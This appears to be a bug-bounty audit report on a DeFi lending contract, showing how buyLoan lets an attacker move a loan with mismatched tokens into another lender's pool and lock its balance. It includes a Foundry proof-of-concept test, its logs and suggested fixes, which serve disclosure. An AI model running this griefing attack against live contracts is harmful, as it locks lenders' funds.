20,000 USDC
View results
Submission Details
Severity: high
Valid

Grief pool lenders

Summary

The buyLoan function allows everybody who has a loan with a started auction to grief a pool set by some lender. The loan collateral and loan tokens are not required to be the same as the collateral and loan tokens of the pool. The whole pool balance can be locked away forever for almost no cost to the attacker.

Vulnerability Details

The buyLoan function allows everybody who has a loan with a started auction to grief a pool set by some lender. The loan collateral and loan tokens are not required to be the same as the collateral and loan tokens of the pool. The whole pool balance can be locked away forever for almost no cost to the attacker. The pool lender will lose all of his loan tokens supplied to the Lender contract, and won't be able to withdraw the collateral as their is another griefing attack. Loans can't be bought or seized, as the malicious borrower can always call refinance with the same parameters of his borrow, and thus only pay gas and reset the loan.auctionStartTimestamp == type(uint256).max (this is another vulnerability as the root of the issue is different). If the pool lender offers ETH for BTC the looses will be big, as there is no whitelist mechanism so an attacker can just deploy two ERC20 contracts, mint however tokens he wants to himself, set up a pool, borrow from his own pool, and then call buyLoan and give the loan to the pool lender he wants to grief. The loan.debt will be substracted from the pool.poolBalance of the pool he wants to grief.

function test_griefPool() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(lender2);
Pool memory pAttack = Pool({
lender: lender2,
loanToken: address(loanTokenAttack),
collateralToken: address(collateralTokenAttack),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolIdAttack = lender.setPool(pAttack);
(, , , , uint256 poolAttackBalance, , , , ) = lender.pools(
poolIdAttack
);
assertEq(poolAttackBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 200 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
(, , , , uint256 borrow, , , , ) = lender.pools(poolId);
(, , , , uint256 borrowAttack, , , , ) = lender.pools(poolIdAttack);
console.log("pool balance after borrow: ", borrow);
console.log("poolAttack balance after borrow: ", borrowAttack);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
skip(7200);
(, , , , , , , , uint256 startTime, ) = lender.loans(0);
console.log("the start time of the auction: ", startTime);
lender.buyLoan(0, poolIdAttack);
(, , , , uint256 buyLoan, , , , ) = lender.pools(poolId);
(, , , , uint256 buyLoanAttack, , , , ) = lender.pools(poolIdAttack);
console.log("pool balance after buy loan: ", buyLoan);
console.log("poolAttack balance after buy loan: ", buyLoanAttack);
}

Those are the outputs

Logs:
pool balance after borrow: 900000000000000000000
poolAttack balance after borrow: 1000000000000000000000
the start time of the auction: 1
pool balance after buy loan: 1000002054794520547945
poolAttack balance after buy loan: 899997716894977168950

With exact calculations almost all of the attacked pool loan tokens can be locked.

Impact

All of the supplied loan tokens of the pool lender will be locked as the loan.debt will be substracted from pool.poolBalance, due to the fact that the attacker didn't deposit any collateral required by the pool, the lender won't be able to withdraw any collateral.

Tools Used

Manual Review

Recommendations

In the buyLoan function check that the function is being called by the pool lender, and check if the loan and collateral tokens of the loan match with the ones in the pool.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.